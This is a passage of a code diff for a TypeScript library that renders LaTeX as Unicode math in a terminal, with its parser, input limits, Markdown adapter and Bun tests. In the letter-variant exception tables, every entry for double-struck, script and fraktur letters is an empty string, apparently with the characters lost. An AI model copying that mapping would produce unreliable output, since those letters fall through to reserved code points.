const ascent = Math.max(...boxes.map((box) => box.baseline))
const descent = Math.max(...boxes.map((box) => box.height - box.baseline - 1))
const width = boxes.reduce((sum, box) => sum + box.width, 0)
const result = blank(width, ascent + descent + 1, ascent)
let x = 0
for (const box of boxes) {
overlay(result, box, x, ascent - box.baseline)
x += box.width
}
return result
}
function textBox(text: string, style?: MathStyle): Box {
const graphemes = Array.from(graphemeSegmenter.segment(text), (item) => item.segment)
const width = graphemes.reduce((sum, grapheme) => sum + cellWidth(grapheme), 0)
const result = blank(width, 1, 0)
let x = 0
for (const grapheme of graphemes) {
setCell(result, x, 0, grapheme, style)
x += cellWidth(grapheme)
}
return result
}
function blank(width: number, height: number, baseline: number): Box {
return {
width: Math.max(0, width),
height: Math.max(1, height),
baseline: Math.max(0, baseline),
cells: Array.from({ length: Math.max(1, height) }, () => Array<MathCell | undefined>(Math.max(0, width))),
}
}
function overlay(target: Box, source: Box, x: number, y: number): void {
for (let sourceY = 0; sourceY < source.height; sourceY++) {
for (let sourceX = 0; sourceX < source.width; sourceX++) {
const cell = source.cells[sourceY]?.[sourceX]
if (cell) target.cells[y + sourceY][x + sourceX] = cell
}
}
}
function drawHorizontal(
box: Box,
y: number,
x: number,
width: number,
char: string,
style: MathStyle | undefined,
): void {
for (let offset = 0; offset < width; offset++) setCell(box, x + offset, y, char, style)
}
function setCell(box: Box, x: number, y: number, char: string, style?: MathStyle): void {
if (x < 0 || y < 0 || x >= box.width || y >= box.height) return
box.cells[y][x] = style ? { char, style } : { char }
}
function nodeRole(node: MathNode): SymbolRole | undefined {
if (node.type === "symbol") return node.role
if (node.type === "operator") return "operator"
// Tall constructs need a terminal-cell side bearing. Treating them like
// operators gives their fraction bars/radical hooks breathing room without
// adding padding inside the construct itself.
if (node.type === "fraction" || node.type === "root" || node.type === "matrix") return "operator"
if (node.type === "scripts") return nodeRole(node.base)
return undefined
}
function needsMathSpace(previous: SymbolRole | undefined, current: SymbolRole | undefined, count: number): boolean {
if (count === 0) return false
if (previous === "punctuation" || previous === "opening" || current === "punctuation" || current === "closing") {
return false
}
return (
previous === "binary" ||
previous === "relation" ||
previous === "operator" ||
current === "binary" ||
current === "relation" ||
current === "operator"
)
}
function normalizeBinaryRole(
role: SymbolRole | undefined,
previous: SymbolRole | undefined,
next: SymbolRole | undefined,
): SymbolRole | undefined {
if (role !== "binary") return role
if (
previous === undefined ||
previous === "binary" ||
previous === "relation" ||
previous === "operator" ||
previous === "punctuation" ||
previous === "opening" ||
next === undefined ||
next === "binary" ||
next === "relation" ||
next === "punctuation" ||
next === "closing"
) {
return "ordinary"
}
return role
}
function nextSignificantRole(nodes: MathNode[], start: number): SymbolRole | undefined {
for (let index = start; index < nodes.length; index++) {
const node = nodes[index]
if (node.type === "space") continue
return nodeRole(node) ?? "ordinary"
}
return undefined
}
function simpleNodeText(node: MathNode): string | undefined {
if (node.type === "symbol" || node.type === "text" || node.type === "operator") return node.value
if (node.type === "row") {
const values = node.body.map(simpleNodeText)
return values.every((value) => value !== undefined) ? values.join("") : undefined
}
return undefined
}
function mapScript(value: string | undefined, table: Readonly<Record<string, string>>): string | undefined {
if (value === undefined) return undefined
let result = ""
for (const char of value) {
const mapped = table[char]
if (!mapped) return undefined
result += mapped
}
return result
}
function withVariant(context: LayoutContext, variant: MathVariant): LayoutContext {
const style = variant === "bold" ? { bold: true } : variant === "italic" ? { italic: true } : {}
return { ...context, variant, style: { ...context.style, ...style } }
}
function applyVariant(value: string, variant: MathVariant | undefined): string {
if (!variant || variant === "normal" || variant === "bold" || variant === "italic") return value
const exceptions: Partial<Record<MathVariant, Readonly<Record<string, string>>>> = {
"double-struck": {
C: "",
H: "",
N: "",
P: "",
Q: "",
R: "",
Z: "",
},
script: {
B: "",
E: "",
F: "",
H: "",
I: "",
L: "",
M: "",
R: "",
e: "",
g: "",
o: "",
},
fraktur: {
C: "",
H: "",
I: "",
R: "",
Z: "",
},
}
const ranges: Partial<Record<MathVariant, readonly [number, number, number?]>> = {
"double-struck": [0x1d538, 0x1d552, 0x1d7d8],
script: [0x1d49c, 0x1d4b6],
fraktur: [0x1d504, 0x1d51e],
sans: [0x1d5a0, 0x1d5ba, 0x1d7e2],
monospace: [0x1d670, 0x1d68a, 0x1d7f6],
}
const range = ranges[variant]
if (!range) return value
return Array.from(value)
.map((char) => {
const exception = exceptions[variant]?.[char]
if (exception) return exception
const code = char.codePointAt(0)!
if (code >= 65 && code <= 90) return String.fromCodePoint(range[0] + code - 65)
if (code >= 97 && code <= 122) return String.fromCodePoint(range[1] + code - 97)
if (range[2] !== undefined && code >= 48 && code <= 57) return String.fromCodePoint(range[2] + code - 48)
return char
})
.join("")
}
function cellWidth(value: string): number {
if (value.length === 0) return 0
if (/^(?:[\u0000-\u001f\u007f-\u009f]|[\u0300-\u036f]|[\ufe00-\ufe0f])$/u.test(value)) return 0
const code = value.codePointAt(0) ?? 0
if (
code >= 0x1100 &&
(code <= 0x115f ||
code === 0x2329 ||
code === 0x232a ||
(code >= 0x2e80 && code <= 0xa4cf) ||
(code >= 0xac00 && code <= 0xd7a3) ||
(code >= 0xf900 && code <= 0xfaff) ||
(code >= 0xfe10 && code <= 0xfe6f) ||
(code >= 0xff00 && code <= 0xff60) ||
(code >= 0xffe0 && code <= 0xffe6) ||
(code >= 0x1f300 && code <= 0x1faff))
) {
return 2
}
return 1
}
function asPublicLayout(box: Box): MathLayout {
return {
width: box.width,
height: box.height,
baseline: box.baseline,
cells: box.cells,
toString() {
return box.cells
.map((row) => {
let output = ""
for (let x = 0; x < box.width; x++) {
const cell = row[x]
output += cell?.char ?? " "
if (cell && cellWidth(cell.char) > 1) x += cellWidth(cell.char) - 1
}
return output.trimEnd()
})
.join("\n")
},
}
}
+40
View File
@@ -0,0 +1,40 @@
import { LatexParseError } from "./types"
export const DEFAULT_MAX_SOURCE_LENGTH = 100_000
export const DEFAULT_MAX_NESTING_DEPTH = 256
export function resolvePositiveInteger(value: number | undefined, fallback: number, optionName: string): number {
if (value === undefined) return fallback
if (!Number.isSafeInteger(value) || value < 1) {
throw new RangeError(`${optionName} must be a positive safe integer`)
}
return value
}
export function assertSourceLength(source: string, maximum: number, label = "LaTeX source"): void {
if (source.length > maximum) {
throw new LatexParseError(`${label} exceeds the ${maximum}-character limit`, maximum)
}
}
export function assertNestingDepth(source: string, maximum: number): void {
let depth = 0
let slashRun = 0
for (let index = 0; index < source.length; index++) {
const char = source[index]
if (char === "\\") {
slashRun++
continue
}
const escaped = slashRun % 2 === 1
slashRun = 0
if (char === "{" && !escaped) {
depth++
if (depth > maximum) {
throw new LatexParseError(`LaTeX nesting exceeds the ${maximum}-level limit`, index)
}
} else if (char === "}" && !escaped) {
depth = Math.max(0, depth - 1)
}
}
}
+245
View File
@@ -0,0 +1,245 @@
import { afterEach, expect, test } from "bun:test"
import {
CodeRenderable,
MarkdownRenderable,
RGBA,
ScrollBoxRenderable,
SyntaxStyle,
TextAttributes,
TextRenderable,
createMarkdownCodeBlockRenderer,
} from "@opentui/core"
import { createTestRenderer } from "@opentui/core/testing"
import { renderLatex } from "./render"
import { createLatexCodeBlockRenderer } from "./markdown"
const renderers: Awaited<ReturnType<typeof createTestRenderer>>["renderer"][] = []
const syntaxStyle = SyntaxStyle.fromStyles({ default: { fg: "#ffffff" } })
afterEach(() => {
renderers.splice(0).forEach((renderer) => renderer.destroy())
})
async function setup(content: string, width = 80) {
const output = await createTestRenderer({
width,
height: 24,
remote: true,
useThread: false,
})
renderers.push(output.renderer)
const palette = { text: "#abcdef", subdued: "#667788" }
const render = createLatexCodeBlockRenderer(output.renderer, () => palette)
const markdown = new MarkdownRenderable(output.renderer, {
content,
syntaxStyle,
streaming: true,
internalBlockMode: "top-level",
renderNode: createMarkdownCodeBlockRenderer({ latex: render, math: render }),
})
output.renderer.root.add(markdown)
await output.renderOnce()
return { ...output, markdown, palette }
}
test.each(["latex", "math", "tex", "LATEX title=example"])("renders a %s fence", async (language) => {
const output = await setup(`\`\`\`${language}\n\\frac{1}{2}\n\`\`\``)
const formula = output.markdown.getChildren()[0]?.getChildren()[0]
expect(formula).toBeInstanceOf(TextRenderable)
if (!(formula instanceof TextRenderable)) throw new Error("Expected a formula")
expect(formula.height).toBe(3)
expect(formula.chunks.find((chunk) => chunk.text === "1")?.fg?.equals(RGBA.fromHex("#abcdef"))).toBe(true)
expect(output.captureCharFrame()).toContain("1")
expect(output.captureCharFrame()).toContain("2")
expect(output.captureCharFrame()).not.toContain("\\frac")
})
test.each([
String.raw`\frac{1}{`,
String.raw`\unsupported{x}`,
String.raw`\cfrac[x]{1}{2}`,
String.raw`\left\unknown x\right)`,
String.raw`\begin{array}{p{2cm}}x\end{array}`,
String.raw`\documentclass{article}
\begin{document}
Hello
\end{document}`,
])("preserves invalid or unsupported math as source: %s", async (source) => {
const output = await setup(`\`\`\`latex\n${source}\n\`\`\``)
const block = output.markdown.getChildren()[0]
expect(block).toBeInstanceOf(CodeRenderable)
if (!(block instanceof CodeRenderable)) throw new Error("Expected source fallback")
expect(block.content).toBe(source)
})
test.each([
String.raw`\sqrt[\frac{1}{2}]{x}`,
String.raw`\left\|v\right\|`,
String.raw`\left(A\rightarrow B\right)`,
String.raw`\begin{aligned}a&=b+c\\&=d\end{aligned}`,
String.raw`\displaylines{x=1\\y=2}`,
String.raw`\cfrac[l]{1}{12345}`,
String.raw`\underbrace{a+b+c}_{n}`,
String.raw`\begin{array}{l|r}a&wide\\long&b\end{array}`,
])("renders structured math through the Markdown adapter: %s", async (source) => {
const output = await setup(`\`\`\`latex\n${source}\n\`\`\``)
expect(output.markdown.getChildren()[0]).toBeInstanceOf(ScrollBoxRenderable)
expect(output.markdown.getChildren()[0]?.getChildren()[0]).toBeInstanceOf(TextRenderable)
expect(output.captureCharFrame()).not.toContain("\\")
})
test("renders the next valid formula after an incomplete streaming prefix", async () => {
const output = await setup("```latex\n\\frac{1}{")
expect(output.markdown.getChildren()[0]).toBeInstanceOf(CodeRenderable)
output.markdown.content += "2}"
await output.renderOnce()
expect(output.markdown.getChildren()[0]?.getChildren()[0]).toBeInstanceOf(TextRenderable)
expect(output.captureCharFrame()).not.toContain("\\frac")
output.markdown.content += "\n```"
output.markdown.streaming = false
await output.renderOnce()
expect(output.markdown.getChildren()[0]?.getChildren()[0]).toBeInstanceOf(TextRenderable)
})
test("renders the final formula when the last text update is applied before completion", async () => {
const output = await setup("```latex\n\\frac{1}{")
output.markdown.content += "2}\n```"
output.markdown.streaming = false
await output.renderOnce()
expect(output.markdown.getChildren().filter((child) => child instanceof ScrollBoxRenderable).length).toBe(1)
expect(output.captureCharFrame()).not.toContain("\\frac")
})
test("retains the last valid Unicode formula while the next fraction is incomplete", async () => {
const output = await setup("```latex\n\\frac{a_1+b_1}{c_1+d_1}")
const previous = output.captureCharFrame()
output.markdown.content += "+\\frac{a_"
await output.renderOnce()
expect(output.markdown.getChildren()[0]).toBeInstanceOf(ScrollBoxRenderable)
expect(output.captureCharFrame()).toBe(previous)
output.markdown.content += "2+b_2}{c_2+d_2}"
await output.renderOnce()
expect(output.captureCharFrame()).not.toBe(previous)
expect(output.captureCharFrame()).not.toContain("\\frac")
})
test.each(["close", "stop"])("discards an incomplete preview when the stream ends: %s", async (end) => {
const output = await setup("```latex\nx^2")
output.markdown.content += " + \\frac{1}{"
await output.renderOnce()
expect(output.markdown.getChildren()[0]).toBeInstanceOf(ScrollBoxRenderable)
if (end === "close") output.markdown.content += "\n```"
if (end === "stop") output.markdown.streaming = false
await output.renderOnce()
expect(output.markdown.getChildren()[0]).toBeInstanceOf(CodeRenderable)
})
test("does not reuse another fence's preview or keep a removed fence's preview", async () => {
const output = await setup("```latex\nx^2\n```\n\n```latex\n\\frac{1}{")
expect(output.markdown.getChildren()[1]).toBeInstanceOf(CodeRenderable)
output.markdown.content = ""
await output.renderOnce()
output.markdown.content = "```latex\nx^2 + \\frac{1}{"
await output.renderOnce()
expect(output.markdown.getChildren()[0]).toBeInstanceOf(CodeRenderable)
})
test("does not leave a stale formula when a stream ends with invalid math", async () => {
const output = await setup("```latex\nx^2")
expect(output.markdown.getChildren()[0]?.getChildren()[0]).toBeInstanceOf(TextRenderable)
output.markdown.content += " + \\unsupported{x}\n```"
output.markdown.streaming = false
await output.renderOnce()
expect(output.markdown.getChildren()[0]).toBeInstanceOf(CodeRenderable)
})
test("keeps a matrix and surrounding Markdown intact in a narrow terminal", async () => {
const output = await setup("Before\n\n```math\n\\begin{pmatrix}a & b \\\\ c & d\\end{pmatrix}\n```\n\nAfter", 32)
await output.renderOnce()
const frame = output.captureCharFrame()
expect(frame).toContain("Before")
expect(frame).toContain("a b")
expect(frame).toContain("c d")
expect(frame).toContain("After")
expect(frame).not.toContain("pmatrix")
})
test("leaves ordinary code fences alone", async () => {
const output = await setup("```typescript\nconst x = 2\n```")
expect(output.markdown.getChildren()[0]).toBeInstanceOf(CodeRenderable)
})
test("allows wide formulas to scroll horizontally without wrapping", async () => {
const output = await setup(
"```latex\n\\text{Start a very long formula with enough content to overflow Finish}\n```",
24,
)
const viewport = output.markdown.getChildren()[0]
expect(viewport).toBeInstanceOf(ScrollBoxRenderable)
if (!(viewport instanceof ScrollBoxRenderable)) throw new Error("Expected a horizontal viewport")
expect(output.captureCharFrame()).toContain("Start")
expect(output.captureCharFrame()).not.toContain("Finish")
expect(viewport.height).toBe(1)
await output.mockMouse.scroll(2, 1, "right")
await output.renderOnce()
expect(viewport.scrollLeft).toBeGreaterThan(0)
viewport.scrollLeft = viewport.scrollWidth
await output.renderOnce()
expect(output.captureCharFrame()).toContain("Finish")
expect(output.captureCharFrame()).not.toContain("Start")
})
test("subdues structure and emphasizes relations using the theme", async () => {
const output = await setup("```latex\nx=\\sqrt{\\frac{1}{2}}\n```")
const formula = output.markdown.getChildren()[0]?.getChildren()[0]
if (!(formula instanceof TextRenderable)) throw new Error("Expected Unicode math")
for (const mark of ["\u2500", "\u2502", "\u256d", "\u256f", "\u2570"]) {
expect(formula.chunks.find((chunk) => chunk.text === mark)?.fg?.equals(RGBA.fromHex(output.palette.subdued))).toBe(
true,
)
}
expect(formula.chunks.find((chunk) => chunk.text === "x")?.fg?.equals(RGBA.fromHex(output.palette.text))).toBe(true)
expect(formula.chunks.find((chunk) => chunk.text === "=")?.attributes).toBe(TextAttributes.BOLD)
output.palette.text = "#123456"
output.palette.subdued = "#789abc"
output.markdown.refreshStyles()
await output.renderOnce()
const updated = output.markdown.getChildren()[0]?.getChildren()[0]
if (!(updated instanceof TextRenderable)) throw new Error("Expected Unicode math")
expect(updated.chunks.find((chunk) => chunk.text === "x")?.fg?.equals(RGBA.fromHex(output.palette.text))).toBe(true)
for (const mark of ["\u2500", "\u2502", "\u256d", "\u256f", "\u2570"]) {
expect(updated.chunks.find((chunk) => chunk.text === mark)?.fg?.equals(RGBA.fromHex(output.palette.subdued))).toBe(
true,
)
}
})
test.each([String.raw`\text{${"\u4e2d\u6587"}}=x`, String.raw`\frac{\text{${"\u4e2d\u6587"}}}{abcd}=x`])(
"preserves wide-character alignment: %s",
async (source) => {
const layout = renderLatex(source)
const output = await setup(`\`\`\`latex\n${source}\n\`\`\``, layout.width)
const viewport = output.markdown.getChildren()[0]
if (!(viewport instanceof ScrollBoxRenderable)) throw new Error("Expected math viewport")
const formula = viewport.getChildren()[0]
if (!(formula instanceof TextRenderable)) throw new Error("Expected Unicode math")
expect(
formula.chunks
.map((chunk) => chunk.text)
.join("")
.split("\n")
.map((line) => line.trimEnd())
.join("\n"),
).toBe(layout.toString())
expect(viewport.scrollWidth).toBe(layout.width)
},
)
+120
View File
@@ -0,0 +1,120 @@
import {
CodeRenderable,
RenderableEvents,
ScrollBoxRenderable,
StyledText,
TextRenderable,
createTextAttributes,
parseColor,
type ColorInput,
type MarkdownCodeBlockRenderer,
type RenderContext,
} from "@opentui/core"
import stringWidth from "string-width"
import { renderLatex } from "./render"
import { LatexParseError, type MathLayout } from "./types"
export type LatexOptions = {
text: ColorInput
subdued: ColorInput
}
type LatexFrame = {
source: string
layout: MathLayout
}
export function createLatexCodeBlockRenderer(
context: RenderContext,
options: () => LatexOptions,
): MarkdownCodeBlockRenderer {
const lastGood = new Map<string, LatexFrame>()
return (token, render) => {
const fallback = render.defaultRender()
const key = fallback?.id
const previous = key ? lastGood.get(key) : undefined
const retained = previous && token.text.startsWith(previous.source) ? previous : undefined
const fence = /^ {0,3}(`{3,}|~{3,})/.exec(token.raw)?.[1]
const streaming =
fallback instanceof CodeRenderable &&
fallback.streaming &&
fence &&
!new RegExp(`\\n {0,3}${fence[0]}{${fence.length},}\\s*$`).test(token.raw)
const layout = layoutLatex(token.text)
const frame: LatexFrame | undefined = layout
? { source: token.text, layout }
: streaming && retained
? { ...retained }
: undefined
if (!frame) return fallback ?? undefined
const palette = options()
const text = parseColor(palette.text)
const subdued = parseColor(palette.subdued)
const formula = new TextRenderable(context, {
content: new StyledText(
frame.layout.cells.flatMap((row, index) => [
...Array.from(row).flatMap((cell, column) => {
// Wide glyphs already occupy the following cell; do not emit another space for it.
if (column > 0 && stringWidth(row[column - 1]?.char ?? "") > 1) return []
return [
{
__isChunk: true as const,
text: cell?.char ?? " ",
fg: /^[()[\]{}|\u221a\u239b-\u23ad\u2500-\u257f]$/u.test(cell?.char ?? "") ? subdued : text,
attributes: createTextAttributes({
bold: cell?.style?.bold || /^[=<>\u2260\u2261\u2264\u2265\u2248]$/u.test(cell?.char ?? ""),
italic: cell?.style?.italic,
dim: cell?.style?.dim,
}),
},
]
}),
...(index < frame.layout.height - 1 ? [{ __isChunk: true as const, text: "\n", fg: text }] : []),
]),
),
width: "100%",
minWidth: frame.layout.width,
height: frame.layout.height,
wrapMode: "none",
selectable: false,
flexShrink: 0,
})
const viewport = new ScrollBoxRenderable(context, {
width: "100%",
height: frame.layout.height,
flexShrink: 0,
marginTop: 1,
scrollX: true,
scrollY: false,
onMouseScroll(event) {
if (event.modifiers.shift || event.scroll?.direction === "left" || event.scroll?.direction === "right") {
event.stopPropagation()
}
},
})
// The setters opt out of automatic scrollbar visibility; constructor options do not.
viewport.horizontalScrollBar.visible = false
viewport.verticalScrollBar.visible = false
viewport.add(formula)
if (key) {
lastGood.set(key, frame)
viewport.once(RenderableEvents.DESTROYED, () => {
// Markdown destroys the old block before constructing its replacement in the same stack.
queueMicrotask(() => {
if (lastGood.get(key) === frame) lastGood.delete(key)
})
})
}
return viewport
}
}
function layoutLatex(source: string) {
try {
return renderLatex(source, { strict: true, displayMode: true })
} catch (error) {
// Preserve the exact source for incomplete math, unsupported commands, and oversized input.
if (error instanceof LatexParseError || error instanceof RangeError) return undefined
throw error
}
}
+23
View File
@@ -0,0 +1,23 @@
import { describe, expect, test } from "bun:test"
import { renderLatexToString } from "./render"
describe("parser rendering regressions", () => {
test.each([
[String.raw`\|v\|`, "║v║"],
[String.raw`\left\|v\right\|`, "║v║"],
[String.raw`\left|v\right|`, "│v│"],
[String.raw`\left(A\rightarrow B\right)`, "(A → B)"],
[String.raw`\left\lbrace x\right\rbrace`, "{x}"],
[String.raw`\operatorname{arg\,max} x`, "arg max x"],
[String.raw`\textrm{if }x`, "if x"],
[String.raw`\displaylines{x=1\\y=2}`, "x = 1\n\ny = 2"],
])("renders supported syntax without leaking or losing tokens: %s", (source, expected) => {
expect(renderLatexToString(source, { strict: true })).toBe(expected)
})
test("renders empty aligned cells like explicitly empty groups", () => {
expect(renderLatexToString(String.raw`\begin{aligned}&=x\\&=y\end{aligned}`, { strict: true })).toBe(
renderLatexToString(String.raw`\begin{aligned}{}&=x\\{}&=y\end{aligned}`, { strict: true }),
)
})
})
+273
View File
@@ -0,0 +1,273 @@
import { describe, expect, test } from "bun:test"
import { parseLatex } from "./parser"
import { LatexParseError } from "./types"
describe("parseLatex", () => {
test("parses fractions and scripts structurally", () => {
expect(parseLatex(String.raw`\frac{x^2+1}{y_0}`)).toMatchObject({
type: "fraction",
bar: true,
numerator: { type: "row" },
denominator: { type: "scripts" },
})
})
test("parses matrix environments into rows and cells", () => {
expect(parseLatex(String.raw`\begin{pmatrix}a & b \\ c & d\end{pmatrix}`)).toMatchObject({
type: "matrix",
environment: "pmatrix",
rows: [
[
{ type: "symbol", value: "a" },
{ type: "symbol", value: "b" },
],
[
{ type: "symbol", value: "c" },
{ type: "symbol", value: "d" },
],
],
})
})
test("accepts array column specs and starred alignment environments", () => {
expect(parseLatex(String.raw`\begin{array}{cc}a & b \\ c & d\end{array}`)).toMatchObject({
type: "matrix",
environment: "array",
columns: "cc",
rows: [
[{}, {}],
[{}, {}],
],
})
expect(parseLatex(String.raw`\begin{align*}a &= b \\ c &= d\end{align*}`)).toMatchObject({
type: "matrix",
environment: "align",
})
})
test("preserves double norm delimiters without changing single bars", () => {
expect(parseLatex(String.raw`\|v\|`, { strict: true })).toMatchObject({
type: "row",
body: [{ value: "║" }, { value: "v" }, { value: "║" }],
})
expect(parseLatex(String.raw`\left\|v\right\|`, { strict: true })).toMatchObject({
type: "delimited",
left: "║",
right: "║",
})
expect(parseLatex(String.raw`\left|v\right|`, { strict: true })).toMatchObject({
type: "delimited",
left: "│",
right: "│",
})
})
test("matches the whole right command and keeps nested delimiters", () => {
expect(parseLatex(String.raw`\left(A\rightarrow B\right)`, { strict: true })).toMatchObject({
type: "delimited",
left: "(",
body: { type: "row", body: [{ value: "A" }, { value: "→" }, { value: "B" }] },
right: ")",
})
expect(parseLatex(String.raw`\left(\left[A\right]\rightharpoonup B\right)`)).toMatchObject({
type: "delimited",
body: { type: "row", body: [{ type: "delimited" }, { value: "⇀" }, { value: "B" }] },
})
expect(() => parseLatex(String.raw`\left(A\rightarrow B`, { strict: true })).toThrow(/Missing \\right/)
expect(() => parseLatex(String.raw`\left(A\rightward B\right)`, { strict: true })).toThrow(
/Unsupported command \\rightward/,
)
})
test("accepts empty leading, interior, and trailing environment cells", () => {
expect(parseLatex(String.raw`\begin{aligned}&=x\\&=y\end{aligned}`, { strict: true })).toMatchObject({
type: "matrix",
environment: "aligned",
rows: [
[
{ type: "row", body: [] },
{ type: "row", body: [{ value: "=" }, { value: "x" }] },
],
[
{ type: "row", body: [] },
{ type: "row", body: [{ value: "=" }, { value: "y" }] },
],
],
})
expect(parseLatex(String.raw`\begin{matrix}a&&\\&b&\end{matrix}`, { strict: true })).toMatchObject({
type: "matrix",
rows: [
[{ value: "a" }, { type: "row", body: [] }, { type: "row", body: [] }],
[{ type: "row", body: [] }, { value: "b" }, { type: "row", body: [] }],
],
})
expect(parseLatex(String.raw`\begin{matrix}a\\\end{matrix}`)).toMatchObject({ rows: [[{ value: "a" }]] })
expect(parseLatex(String.raw`\begin{matrix}\\\end{matrix}`)).toMatchObject({ rows: [[{ type: "row", body: [] }]] })
})
test("parses displaylines as separate gathered rows", () => {
expect(parseLatex(String.raw`\displaylines{x=1\\y=2}`, { strict: true })).toMatchObject({
type: "matrix",
environment: "gathered",
rows: [
[{ type: "row", body: [{ value: "x" }, { value: "=" }, { value: "1" }] }],
[{ type: "row", body: [{ value: "y" }, { value: "=" }, { value: "2" }] }],
],
})
expect(parseLatex(String.raw`\displaylines{\frac{1}{2}\\{y}}+z`)).toMatchObject({
type: "row",
body: [{ type: "matrix", rows: [[{ type: "fraction" }], [{ value: "y" }]] }, { value: "+" }, { value: "z" }],
})
expect(() => parseLatex(String.raw`\displaylines[l]{x\\y}`, { strict: true })).toThrow(LatexParseError)
expect(() => parseLatex(String.raw`\displaylines{x\\y`, { strict: true })).toThrow(LatexParseError)
})
test.each([
["", undefined],
["[]", undefined],
["[l]", "left"],
["[r]", "right"],
] as const)("parses continued fraction alignment %s before its arguments", (option, numeratorAlign) => {
expect(parseLatex(String.raw`\cfrac${option}{1}{23}`, { strict: true })).toEqual({
type: "fraction",
numerator: { type: "symbol", value: "1", role: "ordinary" },
denominator: {
type: "row",
body: [
{ type: "symbol", value: "2", role: "ordinary" },
{ type: "symbol", value: "3", role: "ordinary" },
],
},
bar: true,
...(numeratorAlign ? { numeratorAlign } : {}),
})
})
test.each(["[c]", "[lr]", "[left]", "[l"])("rejects unsupported continued fraction alignment %s", (option) => {
expect(() => parseLatex(String.raw`\cfrac${option}{1}{2}`, { strict: true })).toThrow(LatexParseError)
})
test("retains normalized array columns including edge and double rules", () => {
expect(parseLatex(String.raw`\begin{array}{ | l || c r | }a&b&c\end{array}`, { strict: true })).toMatchObject({
type: "matrix",
environment: "array",
columns: "|l||cr|",
})
})
test.each(["", "||", "p{2cm}", "*{2}{c}", "c@{}c", "lXr"])("rejects unsupported array columns %s", (columns) => {
expect(() => parseLatex(String.raw`\begin{array}{${columns}}a\end{array}`, { strict: true })).toThrow(
LatexParseError,
)
})
test("requires an array column specification", () => {
expect(() => parseLatex(String.raw`\begin{array}a&b\end{array}`, { strict: true })).toThrow(LatexParseError)
})
test("emits structural braces while keeping annotations as scripts", () => {
expect(parseLatex(String.raw`\overbrace{a+b}^{n}`, { strict: true })).toMatchObject({
type: "scripts",
base: { type: "brace", position: "over", body: { type: "row" } },
superscript: { value: "n" },
})
expect(parseLatex(String.raw`\underbrace{x}_{k}`, { strict: true })).toMatchObject({
type: "scripts",
base: { type: "brace", position: "under", body: { value: "x" } },
subscript: { value: "k" },
})
})
test("recognizes named braces and rejects unsupported delimiter commands in strict mode", () => {
expect(parseLatex(String.raw`\left\lbrace x\right\rbrace`, { strict: true })).toMatchObject({
type: "delimited",
left: "{",
right: "}",
})
expect(parseLatex(String.raw`\lbrace x\rbrace`, { strict: true })).toMatchObject({
type: "row",
body: [{ value: "{" }, { value: "x" }, { value: "}" }],
})
for (const source of [
String.raw`\left\unknown x\right)`,
String.raw`\left(x\right\unknown`,
String.raw`\big\unknown`,
String.raw`\left(x\middle\unknown y\right)`,
]) {
expect(() => parseLatex(source, { strict: true })).toThrow(/Unsupported delimiter \\unknown/)
}
})
test("expands user macros", () => {
expect(parseLatex(String.raw`\R \to \R`, { macros: { "\\R": String.raw`\mathbb{R}` } })).toMatchObject({
type: "row",
})
})
test("reports useful strict-mode errors", () => {
expect(() => parseLatex(String.raw`\definitelyUnknown{x}`, { strict: true })).toThrow(LatexParseError)
})
test("keeps escaped braces inside raw text groups", () => {
expect(parseLatex(String.raw`\text{left \{ only}`)).toMatchObject({
type: "text",
value: "left { only",
})
expect(parseLatex(String.raw`\text{right \} only}`)).toMatchObject({
type: "text",
value: "right } only",
})
})
test("supports starred named operators and limits modifiers", () => {
expect(parseLatex(String.raw`\operatorname*{arg\,max}_{x}`)).toMatchObject({
type: "scripts",
base: { type: "operator", value: "arg max", limits: true },
})
expect(parseLatex(String.raw`\int\limits_0^1`)).toMatchObject({
type: "scripts",
base: { type: "operator", value: "∫", limits: true },
})
expect(parseLatex(String.raw`\sum\nolimits_{i=1}`)).toMatchObject({
type: "scripts",
base: { type: "operator", value: "∑", limits: false },
})
})
test("interprets operator spacing and preserves roman text whitespace", () => {
expect(parseLatex(String.raw`\operatorname{arg\,max}`, { strict: true })).toEqual({
type: "operator",
value: "arg max",
limits: false,
})
expect(parseLatex(String.raw`\textrm{ if }`, { strict: true })).toEqual({
type: "variant",
variant: "normal",
body: { type: "text", value: " if " },
})
})
test("bounds source and recursive macro expansion", () => {
expect(() => parseLatex("12345", { maxSourceLength: 4 })).toThrow(/4-character limit/)
expect(() =>
parseLatex(String.raw`\a`, {
macros: { a: String.raw`\a\a` },
maxExpandedLength: 64,
}),
).toThrow(/64-character limit/)
expect(() => parseLatex(String.raw`\a`, { macros: { a: "{{x}}" }, maxDepth: 1 })).toThrow(/1-level limit/)
expect(() => parseLatex("x", { maxSourceLength: 0 })).toThrow(RangeError)
})
test("fails quickly when malformed environments cannot advance", () => {
expect(() => parseLatex(String.raw`\begin{matrix}]`)).toThrow(/Missing \\end{matrix}/)
expect(() => parseLatex(String.raw`\begin{matrix}x}`)).toThrow(/Unexpected "}" in matrix/)
expect(() => parseLatex(String.raw`\begin{matrix}&}`)).toThrow(/Unexpected "}" in matrix/)
})
test("bounds structural nesting with a parse error instead of overflowing the stack", () => {
const source = "{".repeat(80) + "x" + "}".repeat(80)
expect(() => parseLatex(source, { maxDepth: 64 })).toThrow(/64-level limit/)
expect(() => parseLatex(String.raw`\frac`.repeat(80) + "x", { maxDepth: 64 })).toThrow(/64-level limit/)
})
})
+598
View File
@@ -0,0 +1,598 @@
import {
LatexParseError,
type AccentKind,
type MathNode,
type MathVariant,
type MatrixEnvironment,
type ParseOptions,
} from "./types"
import {
assertNestingDepth,
assertSourceLength,
DEFAULT_MAX_NESTING_DEPTH,
DEFAULT_MAX_SOURCE_LENGTH,
resolvePositiveInteger,
} from "./limits"
import { delimiterTable, largeOperators, namedOperators, spacingCommands, symbolTable } from "./symbols"
const matrixEnvironments: MatrixEnvironment[] = [
"matrix",
"pmatrix",
"bmatrix",
"Bmatrix",
"vmatrix",
"Vmatrix",
"cases",
"aligned",
"align",
"gathered",
"gather",
"smallmatrix",
"array",
]
const accents: Readonly<Record<string, AccentKind>> = {
hat: "hat",
widehat: "widehat",
bar: "bar",
overline: "overline",
underline: "underline",
vec: "vec",
tilde: "tilde",
widetilde: "tilde",
dot: "dot",
ddot: "ddot",
}
const variants: Readonly<Record<string, MathVariant>> = {
mathrm: "normal",
textrm: "normal",
mathnormal: "normal",
mathbf: "bold",
boldsymbol: "bold",
bm: "bold",
mathit: "italic",
mathsf: "sans",
mathtt: "monospace",
mathbb: "double-struck",
mathcal: "script",
mathscr: "script",
mathfrak: "fraktur",
}
export function parseLatex(source: string, options: ParseOptions = {}): MathNode {
const expanded = expandLatexMacros(source, options)
const maxDepth = resolvePositiveInteger(options.maxDepth, DEFAULT_MAX_NESTING_DEPTH, "maxDepth")
